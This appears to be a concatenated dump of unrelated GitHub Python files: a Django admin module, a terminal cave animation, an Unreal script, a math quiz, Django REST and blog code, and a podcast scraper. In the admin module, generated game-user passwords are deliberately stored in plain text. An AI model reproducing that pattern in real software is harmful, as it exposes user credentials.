= datetime.now(pytz.utc) + timedelta(seconds=y)\n\n return date\n\n class Meta:\n ordering = [\"-name\"]\n\n\nclass IEUser(ImportExportModelAdmin):\n pass\n\n\nclass IEGroup(ImportExportModelAdmin):\n pass\n\n\nclass IESolarSchedule(ImportExportModelAdmin):\n pass\n\n\nclass IECrontabSchedule(ImportExportModelAdmin):\n pass\n\n\nclass IEIntervalSchedule(ImportExportModelAdmin):\n pass\n\n\nadmin.site.unregister(PeriodicTask)\nadmin.site.unregister(SolarSchedule)\nadmin.site.unregister(CrontabSchedule)\nadmin.site.unregister(IntervalSchedule)\nadmin.site.register(PeriodicTask, IEPeriodicTaskAdmin)\nadmin.site.register(SolarSchedule, IESolarSchedule)\nadmin.site.register(CrontabSchedule, IECrontabSchedule)\nadmin.site.register(IntervalSchedule, IEIntervalSchedule)\n\n\nclass VolunteerInline(admin.StackedInline):\n model = Volunteer\n can_delete = False\n verbose_name_plural = \"Volunteer information\"\n\n\nclass GameUserInline(admin.StackedInline):\n model = GameUser\n can_delete = False\n verbose_name_plural = \"Game Users\"\n\n\n# Thank you:\n# https://stackoverflow.com/questions/47941038/how-should-i-add-django-import-export-on-the-user-model?rq=1\nclass UserResource(resources.ModelResource):\n class Meta:\n model = User\n # fields = ('first_name', 'last_name', 'email')\n\n\nclass GroupResource(resources.ModelResource):\n class Meta:\n model = Group\n\n\ndef generate_password():\n password = \"\".join(choice(\"ACDEFGHKLMNPRSTUVWXZ234567\") for i in range(20))\n return \"%s-%s-%s-%s-%s\" % (password[0:4], password[4:8], password[8:12], password[12:16], password[16:20])\n\n\ndef generate_username():\n # generate nice names like docker container names\n # https://github.com/moby/moby/blob/master/pkg/namesgenerator/names-generator.go\n\n # slightly redacted list to make all names always positive.\n traits = [\n \"admiring\",\n \"adoring\",\n \"affectionate\",\n \"amazing\",\n \"awesome\",\n \"blissful\",\n \"bold\",\n \"brave\",\n \"charming\",\n \"clever\",\n \"cool\",\n \"compassionate\",\n \"competent\",\n \"confident\",\n \"crazy\",\n \"dazzling\",\n \"determined\",\n \"dreamy\",\n \"eager\",\n \"ecstatic\",\n \"elastic\",\n \"elated\",\n \"elegant\",\n \"eloquent\",\n \"epic\",\n \"fervent\",\n \"festive\",\n \"flamboyant\",\n \"focused\",\n \"friendly\",\n \"gallant\",\n \"gifted\",\n \"goofy\",\n \"gracious\",\n \"happy\",\n \"hardcore\",\n \"heuristic\",\n \"hopeful\",\n \"infallible\",\n \"inspiring\",\n \"jolly\",\n \"jovial\",\n \"keen\",\n \"kind\",\n \"laughing\",\n \"loving\",\n \"lucid\",\n \"magical\",\n \"mystifying\",\n \"modest\",\n \"musing\",\n \"naughty\",\n \"nifty\",\n \"nostalgic\",\n \"objective\",\n \"optimistic\",\n \"peaceful\",\n \"pensive\",\n \"practical\",\n \"priceless\",\n \"quizzical\",\n \"recursing\",\n \"relaxed\",\n \"reverent\",\n \"romantic\",\n \"serene\",\n \"sharp\",\n \"silly\",\n \"sleepy\",\n \"sweet\",\n \"tender\",\n \"trusting\",\n \"unruffled\",\n \"upbeat\",\n \"vibrant\",\n \"vigilant\",\n \"vigorous\",\n \"wizardly\",\n \"wonderful\",\n \"youthful\",\n \"zealous\",\n \"zen\",\n ]\n\n # See the elaborate explanations of all these names in the original file.\n names = [\n \"albattani\",\n \"allen\",\n \"almeida\",\n \"antonelli\",\n \"agnesi\",\n \"archimedes\",\n \"ardinghelli\",\n \"aryabhata\",\n \"austin\",\n \"babbage\",\n \"banach\",\n \"banzai\",\n \"bardeen\",\n \"bartik\",\n \"bassi\",\n \"beaver\",\n \"bell\",\n \"benz\",\n \"bhabha\",\n \"bhaskara\",\n \"black\",\n \"blackburn\",\n \"blackwell\",\n \"bohr\",\n \"booth\",\n \"borg\",\n \"bose\",\n \"boyd\",\n \"brahmagupta\",\n \"brattain\",\n \"brown\",\n \"burnell\",\n \"buck\",\n \"burnell\",\n \"cannon\",\n \"carson\",\n \"cartwright\",\n \"chandrasekhar\",\n \"chaplygin\",\n \"chatelet\",\n \"chatterjee\",\n \"chebyshev\",\n \"cocks\",\n \"cohen\",\n \"chaum\",\n \"clarke\",\n \"colden\",\n \"cori\",\n \"cray\",\n \"curran\",\n \"curie\",\n \"darwin\",\n \"davinci\",\n \"dewdney\",\n \"dhawan\",\n \"diffie\",\n \"dijkstra\",\n \"dirac\",\n \"driscoll\",\n \"dubinsky\",\n \"easley\",\n \"edison\",\n \"einstein\",\n \"elbakyan\",\n \"elgamal\",\n \"elion\",\n \"ellis\",\n \"engelbart\",\n \"euclid\",\n \"euler\",\n \"faraday\",\n \"feistel\",\n \"fermat\",\n \"fermi\",\n \"feynman\",\n \"franklin\",\n \"gagarin\",\n \"galileo\",\n \"galois\",\n \"ganguly\",\n \"gates\",\n \"gauss\",\n \"germain\",\n \"goldberg\",\n \"goldstine\",\n \"goldwasser\",\n \"golick\",\n \"goodall\",\n \"gould\",\n \"greider\",\n \"grothendieck\",\n \"haibt\",\n \"hamilton\",\n \"haslett\",\n \"hawking\",\n \"hellman\",\n \"heisenberg\",\n \"hermann\",\n \"herschel\",\n \"hertz\",\n \"heyrovsky\",\n \"hodgkin\",\n \"hofstadter\",\n \"hoover\",\n \"hopper\",\n \"hugle\",\n \"hypatia\",\n \"ishizaka\",\n \"jackson\",\n \"jang\",\n \"jennings\",\n \"jepsen\",\n \"johnson\",\n \"joliot\",\n \"jones\",\n \"kalam\",\n \"kapitsa\",\n \"kare\",\n \"keldysh\",\n \"keller\",\n \"kepler\",\n \"khayyam\",\n \"khorana\",\n \"kilby\",\n \"kirch\",\n \"knuth\",\n \"kowalevski\",\n \"lalande\",\n \"lamarr\",\n \"lamport\",\n \"leakey\",\n \"leavitt\",\n \"lederberg\",\n \"lehmann\",\n \"lewin\",\n \"lichterman\",\n \"liskov\",\n \"lovelace\",\n \"lumiere\",\n \"mahavira\",\n \"margulis\",\n \"matsumoto\",\n \"maxwell\",\n \"mayer\",\n \"mccarthy\",\n \"mcclintock\",\n \"mclaren\",\n \"mclean\",\n \"mcnulty\",\n \"mendel\",\n \"mendeleev\",\n \"meitner\",\n \"meninsky\",\n \"merkle\",\n \"mestorf\",\n \"minsky\",\n \"mirzakhani\",\n \"moore\",\n \"morse\",\n \"murdock\",\n \"moser\",\n \"napier\",\n \"nash\",\n \"neumann\",\n \"newton\",\n \"nightingale\",\n \"nobel\",\n \"noether\",\n \"northcutt\",\n \"noyce\",\n \"panini\",\n \"pare\",\n \"pascal\",\n \"pasteur\",\n \"payne\",\n \"perlman\",\n \"pike\",\n \"poincare\",\n \"poitras\",\n \"proskuriakova\",\n \"ptolemy\",\n \"raman\",\n \"ramanujan\",\n \"ride\",\n \"montalcini\",\n \"ritchie\",\n \"rhodes\",\n \"robinson\",\n \"roentgen\",\n \"rosalind\",\n \"rubin\",\n \"saha\",\n \"sammet\",\n \"sanderson\",\n \"shannon\",\n \"shaw\",\n \"shirley\",\n \"shockley\",\n \"shtern\",\n \"sinoussi\",\n \"snyder\",\n \"solomon\",\n \"spence\",\n \"sutherland\",\n \"stallman\",\n \"stonebraker\",\n \"swanson\",\n \"swartz\",\n \"swirles\",\n \"taussig\",\n \"tereshkova\",\n \"tesla\",\n \"tharp\",\n \"thompson\",\n \"torvalds\",\n \"tu\",\n \"turing\",\n \"varahamihira\",\n \"vaughan\",\n \"visvesvaraya\",\n \"volhard\",\n \"villani\",\n \"wescoff\",\n \"wiles\",\n \"williams\",\n \"williamson\",\n \"wilson\",\n \"wing\",\n \"wozniak\",\n \"wright\",\n \"wu\",\n \"yalow\",\n \"yonath\",\n \"zhukovsky\",\n ]\n\n return \"%s %s\" % (choice(traits).capitalize(), choice(names).capitalize())\n\n\ndef generate_game_user():\n game_user_number = User.objects.all().filter(username__contains=\"game_user_\").count()\n game_user_number += 1\n\n password = generate_password()\n\n user = User.objects.create_user(\n username=\"game_user_%s\" % game_user_number,\n # can log into other things\n is_active=True,\n # No access to admin interface needed\n is_staff=False,\n # No permissions needed anywhere\n is_superuser=False,\n password=password,\n )\n user.save()\n\n # store the password to this account in plain text. It doesn't have any permissions so well...\n # in django we trust :)\n game_user = GameUser()\n game_user.user = user\n game_user.password = password\n game_user.save()\n\n return user\n\n\nclass UserAdmin(BaseUserAdmin, ImportExportModelAdmin):\n resource_class = UserResource\n inlines = (VolunteerInline, GameUserInline)\n\n list_display = (\n \"username\",\n \"organization\",\n \"first_name\",\n \"last_name\",\n \"email\",\n \"is_active\",\n \"is_staff\",\n \"is_superuser\",\n \"last_login\",\n \"in_groups\",\n )\n\n actions = []\n\n def add_game_user(self, request, queryset):\n generate_game_user()\n self.message_user(request, \"Game user added, rename if needed!\")\n\n add_game_user.short_description = \"💖 Add Game User (select a user first)\"\n actions.append(add_game_user)\n\n def add_volunteer(self, request, queryset):\n\n # password is random and non-recoverable. It has to be set explicitly by the admin\n alphabet = string.ascii_letters + string.digits\n password = \"\".join(choice(alphabet) for i in range(42))\n\n # determine number:\n volunteer_number = User.objects.all().filter(username__contains=\"Volunteer\").count()\n volunteer_number += 1\n\n user = User.objects.create_user(\n username=\"Volunteer%s\" % volunteer_number,\n is_active=False,\n is_staff=True,\n is_superuser=False,\n password=password,\n )\n\n user.save()\n\n # and add the user to the comply or explain group.\n user.groups.add(Group.objects.get(name=\"comply_or_explain\"))\n user.save()\n\n # add volunteering information\n volunteer = Volunteer()\n volunteer.organization = \"tbd\"\n volunteer.added_by = \"Automatically added\"\n volunteer.notes = \"-\"\n volunteer.user = user\n volunteer.save()\n\n self.message_user(request, \"Volunteer added!\")\n\n return True\n\n add_volunteer.short_description = \"💖 Add Volunteer (select something first)\"\n actions.append(add_volunteer)\n\n @staticmethod\n def in_groups(obj):\n value = \"\"\n for group in obj.groups.all():\n value += group.name\n return value\n\n @staticmethod\n def organization(obj):\n return obj.volunteer.organization\n\n\n# I don't know if the permissions between two systems have the same numbers... Only one way to find out :)\nclass GroupAdmin(BaseGroupAdmin, ImportExportModelAdmin):\n resource_class = GroupResource\n\n\nadmin.site.unregister(User)\nadmin.site.register(User, UserAdmin)\nadmin.site.unregister(Group)\nadmin.site.register(Group, GroupAdmin)\n\n\n# Overwrite the ugly Constance forms with something nicer\n\n\nclass CustomConfigForm(ConstanceForm):\n def __init__(self, *args, **kwargs):\n super(CustomConfigForm, self).__init__(*args, **kwargs)\n # ... do stuff to make your settings form nice ...\n\n\nclass ConfigAdmin(ConstanceAdmin):\n change_list_form = CustomConfigForm\n change_list_template = \"admin/config/settings.html\"\n\n\nadmin.site.unregister([Config])\nadmin.site.register([Config], ConfigAdmin)\n","repo_name":"failmap/failmap","sub_path":"websecmap/app/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":15682,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"} +{"seq_id":"30576788254","text":"\"\"\"Deep Cave, by by Donald Teghen donaldteghen@gmail.com\nAn animation of a deep cave that goes forever into the earth.\nThis code is available at https://learnwithdonny.com/mini-games/deepcave\nTags: tiny, beginner, scrolling, artistic\"\"\"\n\ndef display(lw, gap, rw):\n print(('#' * lw) + (' ' * gap) + ('#' * rw))\n # Check for Ctrl-C press during the brief pause:\n try:\n time.sleep(SPEED)\n except KeyboardInterrupt:\n sys.exit() # When Ctrl-C is pressed, end the program.\n\nimport random, sys, time, os\n\n# Set up the constants:\nWIDTH, HEIGHT = os.get_terminal_size() # (!) Try changing this to 10 or 30.\nSPEED = 0.1 # (!) Try changing this to 0 or 1.0.\n\nprint('Deep Cave, by by Donald Teghen donaldteghen@gmail.com')\nprint('Press Ctrl-C to stop.')\nprint('\\n\\nHight way to hell about to beggin!\\n\\n')\ntime.sleep(1)\n\nGAPWIDTH = 10\nleftWidth = WIDTH//2 - GAPWIDTH//2\n\n# Initially dive to the right \nfor x in range(1, 11):\n if x == 11: \n initial = False \n break\n leftWidth += 1\n rightWidth = WIDTH - GAPWIDTH - leftWidth - 1\n display(leftWidth, GAPWIDTH, rightWidth)\n\n#The alternative zigzag tuneling starts\nwhile True:\n # Display the tunnel segment:\n rightWidth = WIDTH - GAPWIDTH - leftWidth\n display(leftWidth, GAPWIDTH, rightWidth)\n\n # Tuneling left \n for x in range(1, 21) :\n if x == 20: \n break\n leftWidth -= 1\n rightWidth += 1\n display(leftWidth, GAPWIDTH, rightWidth)\n\n # Tuneling left \n for x in range(1, 21) :\n if x == 20: \n break\n leftWidth += 1\n rightWidth -= 1\n display(leftWidth, GAPWIDTH, rightWidth) \n\n ''' Uncomment this section and comment the above section to get a different experience''' \n # diceRoll = random.randint(1, 6)\n # if diceRoll == 1 and leftWidth > 1:\n # leftWidth = leftWidth - 1 # Decrease left side width.\n # elif diceRoll == 2 and leftWidth + GAPWIDTH < WIDTH - 1:\n # leftWidth = leftWidth + 1 # Increase left side width.\n # else:\n # pass # Do nothing; no change in left side width.","repo_name":"donteghen/py-games","sub_path":"deepcave/deepcave.py","file_name":"deepcave.py","file_ext":"py","file_size_in_byte":2147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"71001296267","text":"# from cgl.plugins.unreal import alchemy as alc\nfrom cgl.core.path import PathObject\nfrom cgl.plugins.unreal_engine.utils import update_mesh, update_bndl, update_layout, get_asset_task, get_source_path\nimport unreal\n\n\ndef run():\n workspace_path = unreal.SystemLibrary.convert_to_absolute_path(unreal.Paths.project_dir())\n project_name = unreal.Paths.get_base_filename(unreal.Paths.get_project_file_path())\n path_obj_source_path = get_source_path(workspace_path, project_name)\n path_object = PathObject(path_obj_source_path)\n\n selected_actor = unreal.EditorLevelLibrary.get_selected_level_actors()[0]\n asset_task = get_asset_task(selected_actor)\n unique_mesh_list = []\n if asset_task == \"Mdl\":\n static_mesh = selected_actor.static_mesh_component.static_mesh\n update_mesh(static_mesh=static_mesh, path_object=path_object)\n if asset_task == \"Bndl\":\n update_bndl(asset=selected_actor, path_object=path_object, unique_mesh_list=unique_mesh_list)\n if asset_task == \"Lay\":\n update_layout(asset=selected_actor, path_object=path_object, unique_mesh_list=unique_mesh_list)\n\n\nif __name__ == '__main__':\n run()","repo_name":"tmikota/master","sub_path":"cookbook/unreal/menus/PreProduction/Updateselectedasset.py","file_name":"Updateselectedasset.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"9679499124","text":"# Import's the random module\nimport random\n\n# Import's the time module\nimport time\n\n# Count's the number of correct answers\nnum_correct = 0 \n\n# Count's the number of incorrect answers\nnum_incorrect = 0 \n\n# The longest streak of correct answers\nlongest_streak = 0 \n\n# The current streak of correct answers\ncurrent_streak = 0 \n\n# The maximum number of incorrect answers before the quiz ends\nmax_incorrect = 3 \n\n# Start the quiz\nstart_time = time.time() \n\nfor _ in range(100):\n # Generate two random integers\n num1 = random.randint(0, 9)\n num2 = random.randint(0, 9)\n\n # Swap num1 and num2 if num1 is less than num2\n if num1 < num2:\n num1, num2 = num2, num1\n\n # Prompt the user to answer num1 - num2\n try:\n answer = int(input(f\"What is {num1} - {num2}? Enter -1 to quit. \"))\n except ValueError:\n print(\"Invalid input. Please enter a number.\")\n continue\n \n if answer == -1:\n break\n\n # Check if the answer is correct and display the result\n if num1 - num2 == answer:\n print(\"Your answer is correct!\")\n num_correct += 1 \n is_correct = True \n else:\n print(f\"Your answer is incorrect. {num1} - {num2} is {num1 - num2}\")\n num_incorrect += 1 \n is_correct = False\n \n # Update streaks\n if is_correct:\n current_streak += 1 \n if current_streak > longest_streak:\n longest_streak = current_streak\n else:\n current_streak = 0 \n\n # Check if the quiz should end\n if num_incorrect == max_incorrect:\n print(f\"You have reached {max_incorrect} incorrect answers. The quiz ends now.\")\n break \n\n# Calculate the total score and test time\nend_time = time.time() \ntest_time = int(end_time - start_time)\ntotal_score = num_correct + (longest_streak * 10)\n\n# Print results for the user\nprint(f\"\\nThe total score is {total_score}\")\nprint(f\"Total correct answers: {num_correct}\")\nprint(f\"Total incorrect answers: {num_incorrect}\")\nprint(f\"The longest streak of correct answers: {longest_streak}\")\nprint(f\"The duration of the test: {test_time} seconds\")","repo_name":"Sgerokos/CSC101_1_Update","sub_path":"ArithmeticQuizMaster_Update.py","file_name":"ArithmeticQuizMaster_Update.py","file_ext":"py","file_size_in_byte":2099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"43177821559","text":"import copy\nimport json\nfrom .models import Post, Like, Dislike, Topic\nfrom django.contrib.auth.models import User\nfrom .serializers import PostSerializer, CommentSerializer, LikeSerializer, TopicSerializer, DislikeSerializer\nfrom rest_framework import status\nfrom rest_framework.views import APIView\nfrom rest_framework.mixins import CreateModelMixin\nfrom rest_framework.generics import ListCreateAPIView, UpdateAPIView\nfrom rest_framework.viewsets import ModelViewSet\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view, permission_classes\nfrom django.shortcuts import get_object_or_404\n\ndef sort_by_topic(posts, query):\n '''\n Sorts posts by topic (query) and produces activity vector based on number of likes and dislikes\n '''\n activity = []\n posts_by_topic = []\n for post in posts:\n # Topics are retrieved from each post\n topics = Topic.objects.filter(post=post.id)\n for topic in topics:\n # Each topic is compared with query\n if topic.topic.lower() == query.lower():\n # If matched, the post is added to the list and its activity (total number of likes and dislikes) is calculated and added to the activity vector.\n posts_by_topic.append(post)\n activity.append(post.likes.count()+post.dislikes.count())\n return posts_by_topic, activity\n\n\"\"\"\nclass posts(ListCreateAPIView):\n queryset = Post.objects.all()\n serializer_class = PostSerializer\n\n def post(self, request):\n\n def get_serializer(self, *args, **kwargs):\n serializer_class = self.get_serializer_class()\n kwargs[\"context\"] = self.get_serializer_context()\n if self.request.method == 'POST':\n data = json.loads(self.request.data)\n data['author_id'] = self.request.user.id\n kwargs[\"data\"] = data\n return serializer_class(*args, **kwargs)\n return serializer_class(*args, **kwargs)\n\"\"\"\n\nclass posts(APIView):\n '''\n Returns all posts and allows to create a new post.\n '''\n def get(self, request):\n # All posts are retrieved from database\n posts = Post.objects.all()\n # The posts are serialized\n serializer = PostSerializer(posts, many=True)\n return Response(serializer.data)\n\n def post(self, request):\n # The data is retrieved from the request in JSON format\n data = request.data\n data = json.loads(data)\n # The ID of author is retrieved from the request and added to the data of the post\n data['author_id'] = request.user.id\n # The data is serialized\n serializer = PostSerializer(data=data)\n # Validate the data\n if serializer.is_valid():\n # If it is valid, save the data (create the post)\n serializer.save()\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n # Error if data is invalid\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n\n@api_view(['GET'])\ndef post(request,id):\n '''\n Returns a post instance by id.\n '''\n if request.method == 'GET':\n # Post is retrieved by id.\n post = [get_object_or_404(Post, id=id)]\n\n# !!!! TRY\n\n serializer = PostSerializer(post, many=True)\n return Response(serializer.data)\n\n\nclass comments(ListCreateAPIView):\n serializer_class = CommentSerializer\n\n def get_queryset(self, request):\n comments = Comment.objects.filter(post=self.kwargs['pk'])\n return comments\n\n def get_serializer(self, *args, **kwargs):\n serializer_class = self.get_serializer_class()\n kwargs[\"context\"] = self.get_serializer_context()\n if self.request.method == 'POST':\n # The data is retrieved from the request in JSON format\n data = self.request.data.copy()\n # The ID of author is retrieved from the request and added to the data of the post\n data['post'] = self.kwargs['pk']\n data['author'] = self.request.user.id\n kwargs[\"data\"] = data\n return serializer_class(*args, **kwargs)\n return serializer_class(*args, **kwargs)\n\n\nclass likes(UpdateAPIView, CreateModelMixin):\n serializer_class = LikeSerializer\n\n def get_queryset(self):\n likes = Like.objects.filter(post=self.kwargs['pk'], author=self.request.user.id)\n return likes\n\n def get_serializer(self, *args, **kwargs):\n serializer_class = self.get_serializer_class()\n kwargs[\"context\"] = self.get_serializer_context()\n if self.request.method == 'PUT':\n # The data is retrieved from the request in JSON format\n data = self.request.data.copy()\n # The ID of author is retrieved from the request and added to the data of the post\n data['post'] = self.kwargs['pk']\n data['author'] = self.request.user.id\n kwargs[\"data\"] = data\n return serializer_class(*args, **kwargs)\n return serializer_class(*args, **kwargs)\n\nclass dislikes(ListCreateAPIView):\n serializer_class = DislikeSerializer\n def get_queryset(self, request):\n likes = Like.objects.filter(post=self.kwargs['pk'])\n return likes\n\n def get_serializer(self, *args, **kwargs):\n serializer_class = self.get_serializer_class()\n kwargs[\"context\"] = self.get_serializer_context()\n if self.request.method == 'POST':\n # The data is retrieved from the request in JSON format\n data = self.request.data.copy()\n # The ID of author is retrieved from the request and added to the data of the post\n data['post'] = self.kwargs['pk']\n data['author'] = self.request.user.id\n kwargs[\"data\"] = data\n return serializer_class(*args, **kwargs)\n return serializer_class(*args, **kwargs)\n\n\n\n@api_view(['GET'])\ndef topics(request,topic):\n if request.method == 'GET':\n posts = Post.objects.all()\n posts_by_topic, activity = sort_by_topic(posts, topic)\n serializer = PostSerializer(posts_by_topic, many=True)\n return Response(serializer.data)\n\n@api_view(['GET'])\ndef active(request,query):\n if request.method == 'GET':\n posts = Post.objects.all()\n posts_by_topic, activity = sort_by_topic(posts, query)\n max_value = max(activity)\n max_indices = [i for i, j in enumerate(activity) if j == max_value]\n active_topics = [posts_by_topic[i] for i in max_indices]\n serializer = PostSerializer(active_topics, many=True)\n return Response(serializer.data)\n","repo_name":"artkuzmics/C","sub_path":"src/piazza/views_03.py","file_name":"views_03.py","file_ext":"py","file_size_in_byte":6624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"25449629428","text":"#!/usr/bin/env python\n\n\nimport os, sys\nimport requests\nfrom bs4 import BeautifulSoup\nimport re\nimport html, json\n\nheaders={\"User-Agent\":\"Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0\"}\nlatest_title = {}\n\n# podcast to download (use URL)\npodcasts ={ 'LODE':'https://www.ivoox.com/podcast-orbita-de-endor-podcast_sq_f113302_1.html',\n 'CAMPKRYP':'https://www.ivoox.com/podcast-campamento-krypton_sq_f167429_1.html' }\n# Output directory\nmp3_dir = '/srv/http/mp3/'\n\n\ndef get_episodes(_url_podcast):\n print(_url_podcast)\n _eps = []\n content = requests.get(_url_podcast, headers=headers)\n soup = BeautifulSoup(content.text, 'html.parser')\n\n divs = soup.select(\"div.play > a\")\n for i in divs:\n # changes on the web April-23\n # print(i.decode())\n if \"location.href\" in i.decode():\n _title = html.unescape(i['title'][13:])\n #print(_title)\n _result = i['onclick'].split('\"')[1]\n _eps.append([_title, _result])\n #print(_result)\n return _eps\n \ndef get_audio_link(_name , _data):\n _url = _data[1]\n _title = _data[0]\n global latest_title\n global headers\n global mp3_dir\n #print(_url)\n proxies= { 'http':'127.0.0.1:8080' ,'https':'192.168.1.147:8080' }\n #test forfan title\n #class=\"fan-title\" marca de sponsored\n #content = requests.get(_url, headers=headers, proxies=proxies, verify=False)\n content = requests.get(_url, headers=headers)\n divs = re.search(r\"\\.downloadlink'\\).load\\((.*')\" , content.text)\n mp3_url = 'https://www.ivoox.com/' + (divs[1].replace(\"\\'\",\"\"))\n # get mp3\n content = requests.get(mp3_url, headers)\n soup = BeautifulSoup(content.text, 'html.parser')\n divs = soup.select(\"div.text-center > a\")\n mp3_new_url = (divs[0]['href'])\n headers = { 'Referer' : mp3_new_url, 'User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0'}\n content_mp3 = requests.get(mp3_new_url, headers=headers)# ,proxies=proxies, verify=False) #, allow_redirects=False)\n if content_mp3.status_code != 401:\n #save mp3 title\n _title_tosave = _title.replace('#','_')\n _title_tosave = _title.replace('/','_')\n _title_tosave = _title_tosave.replace(':','_')\n _title_tosave = _title_tosave.replace(\" \",\"_\")\n with open( os.path.join(mp3_dir , (_title_tosave[:60]) +'.mp3'), 'wb') as f:\n f.write(content_mp3.content)\n # save as latest title\n with open( 'ivoorip.txt', 'w' ) as f:\n latest_title[_name]= _title\n f.write(json.dumps(latest_title))\n\nfor podcast_name, podcast_url in podcasts.items():\n # read latest title\n if os.path.exists('ivoorip.txt'):\n with open ('ivoorip.txt','r') as f:\n latest_title = json.load(f) \n\n # Get Episode list from website\n episode_arr = get_episodes(podcast_url)\n # get only the newest episode\n new_ep = []\n for ep in episode_arr:\n if podcast_name not in latest_title:\n latest_title.update({podcast_name:\"\"})\n if podcast_name in latest_title:\n if latest_title[podcast_name] == ep[0]:\n break\n else:\n print(\"Queue %s\" % ep)\n new_ep.append(ep) \n\n # get episodes \n for eps in reversed(new_ep):\n print(\"Downloading %s\" % eps[0])\n get_audio_link(podcast_name, eps)\n \n","repo_name":"kabutor/ivoorip","sub_path":"rip.py","file_name":"rip.py","file_ext":"py","file_size_in_byte":3435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72056216909","text":"# -*- coding:utf-8 -*-\nimport mistune\nfrom django.contrib.auth.models import User\nfrom django.db import models\n\n\nclass Category(models.Model):\n \"\"\"\n 须先定义分类及标签,随后在文章类中作为成员属性\n \"\"\"\n\n STATUS_NORMAL = 1\n STATUS_DELETE = 0\n STATUS_ITEMS = [\n (STATUS_NORMAL, '正常'),\n (STATUS_DELETE, '删除')\n ]\n\n name = models.CharField(max_length=50, verbose_name='名称')\n status = models.IntegerField(choices=STATUS_ITEMS, default=STATUS_NORMAL, verbose_name='状态')\n author = models.ForeignKey(User, verbose_name='作者', on_delete=models.DO_NOTHING)\n created_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间', editable=False)\n is_top = models.BooleanField(default=False, verbose_name='是否置顶导航')\n\n class Meta:\n verbose_name = verbose_name_plural = '分类'\n\n def __str__(self):\n return self.name\n\n @classmethod\n def get_top(cls):\n categories = cls.objects.filter(status=cls.STATUS_NORMAL)\n \"\"\"\n 直接从数据库取值,耗费数据库链接查询资源\n top_categories = categories.filter(is_top=True)\n normal_categories = categories.filter(is_top=False)\n \"\"\"\n\n \"\"\"\n 列表推导式, 两次for循环\n top_categories = [cate for cate in categories if cate.is_top]\n normal_categories = [cate for cate in categories if not cate.is_top]\n \"\"\"\n\n # 一次for循环\n top_categories = []\n normal_categories = []\n for cate in categories:\n if cate.is_top:\n top_categories.append(cate)\n else:\n normal_categories.append(cate)\n\n return {\n 'top_categories': top_categories,\n 'normal_categories': normal_categories\n }\n\n\nclass Tag(models.Model):\n\n STATUS_NORMAL = 1\n STATUS_DELETE = 0\n STATUS_ITEMS = [\n (STATUS_NORMAL, '正常'),\n (STATUS_DELETE, '删除')\n ]\n\n name = models.CharField(max_length=50, verbose_name='名称')\n status = models.IntegerField(choices=STATUS_ITEMS, default=STATUS_NORMAL, verbose_name='状态')\n author = models.ForeignKey(User, verbose_name='作者', on_delete=models.DO_NOTHING)\n created_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间', editable=False)\n\n class Meta:\n verbose_name = verbose_name_plural = '标签'\n\n def __str__(self):\n return self.name\n\n\nclass Post(models.Model):\n\n STATUS_NORMAL = 1\n STATUS_DELETE = 0\n STATUS_DRAFT = 2\n STATUS_ITEMS = [\n (STATUS_DELETE, '删除'),\n (STATUS_NORMAL, '正常'),\n (STATUS_DRAFT, '草稿')\n ]\n\n title = models.CharField(max_length=255, verbose_name='标题')\n # 多对一\n author = models.ForeignKey(User, verbose_name='作者', on_delete=models.DO_NOTHING)\n category = models.ForeignKey(Category, verbose_name='分类', on_delete=models.DO_NOTHING)\n # 多对多\n tag = models.ManyToManyField(Tag, verbose_name='标签')\n summary = models.CharField(max_length=1024, blank=True, verbose_name='摘要')\n is_markdown = models.BooleanField(default=True, verbose_name='是否Markdown格式')\n content = models.TextField(help_text='正文必须为MarkDown格式', verbose_name='正文')\n content_html = models.TextField(verbose_name='正文_html', blank=True, editable=False)\n status = models.PositiveIntegerField(choices=STATUS_ITEMS, default=STATUS_NORMAL, verbose_name='状态')\n # auto_now_add 创建时赋值,auto_now 更新时赋值\n created_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间', editable=False)\n\n # 新增字段pv和uv,方便最热文章与最活跃用户的取数\n pv = models.PositiveIntegerField(default=0)\n uv = models.PositiveIntegerField(default=0)\n\n class Meta:\n verbose_name = verbose_name_plural = '文章'\n ordering = ['-id'] # 降序显示\n\n def __str__(self):\n return self.title\n\n def save(self, force_insert=False, force_update=False, using=None,\n update_fields=None):\n if self.is_markdown:\n self.content_html = mistune.markdown(self.content)\n else:\n self.content_html = self.content\n super(Post, self).save()\n\n @staticmethod\n def get_by_tag(tag_id):\n \"\"\" 通过标签得到文章 \"\"\"\n try:\n tag = Tag.objects.get(id=tag_id)\n except Tag.DoesNotExist:\n tag = None\n posts = []\n else:\n posts = tag.post_set.filter(status=Post.STATUS_NORMAL).select_related('author', 'category')\n\n return posts, tag\n\n @staticmethod\n def get_by_category(category_id):\n \"\"\" 通过分类得到文章 \"\"\"\n try:\n category = Category.objects.get(id=category_id)\n except Category.DoesNotExist:\n category = None\n posts = []\n else:\n posts = category.post_set.filter(status=Post.STATUS_NORMAL).select_related('author', 'category')\n\n return posts, category\n\n @classmethod\n def get_latest_posts(cls):\n \"\"\" 得到最新10篇文章 \"\"\"\n latest_posts = cls.objects.filter(status=cls.STATUS_NORMAL)[:5:1]\n return latest_posts\n\n @classmethod\n def get_hottest_posts(cls):\n \"\"\" 得到最热10篇文章 \"\"\"\n hottest_posts = cls.objects.filter(status=cls.STATUS_NORMAL).order_by('-pv')[:5:1]\n return hottest_posts\n\n#\n# class ArticlePostTag(models.Model):\n# post = models.ForeignKey(Post, models.DO_NOTHING)\n# tag = models.ForeignKey(Tag, models.DO_NOTHING)\n#\n# class Meta:\n# managed = False\n# 